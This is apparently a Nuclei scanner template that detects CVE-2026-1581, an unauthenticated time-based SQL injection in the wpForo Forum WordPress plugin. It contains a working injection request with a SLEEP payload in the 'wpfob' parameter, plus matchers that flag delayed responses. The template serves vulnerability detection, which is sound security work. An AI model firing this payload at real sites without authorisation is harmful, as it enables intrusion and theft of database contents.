wpForo Forum <= 2.4.14 - SQL Injection

id: CVE-2026-1581

info:
  name: wpForo Forum <= 2.4.14 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    wpForo Forum WordPress plugin <= 2.4.14 contains a time-based SQL injection caused by insufficient escaping of the 'wpfob' parameter, letting unauthenticated attackers extract sensitive database information.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database, leading to data disclosure.
  remediation: |
    Update to the latest version of wpForo Forum plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforo/wpforo-forum-2414-unauthenticated-time-based-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-1581
    epss-score: 0.01727
    epss-percentile: 0.74794
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/wpforo/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,wpforo,unauth,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /community/recent/?wpfob=(SELECT/**/1/**/FROM/**/(SELECT/**/SLEEP(8))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "wpforo-wrap")'
          - 'contains(content_type, "text/html")'
        condition: and
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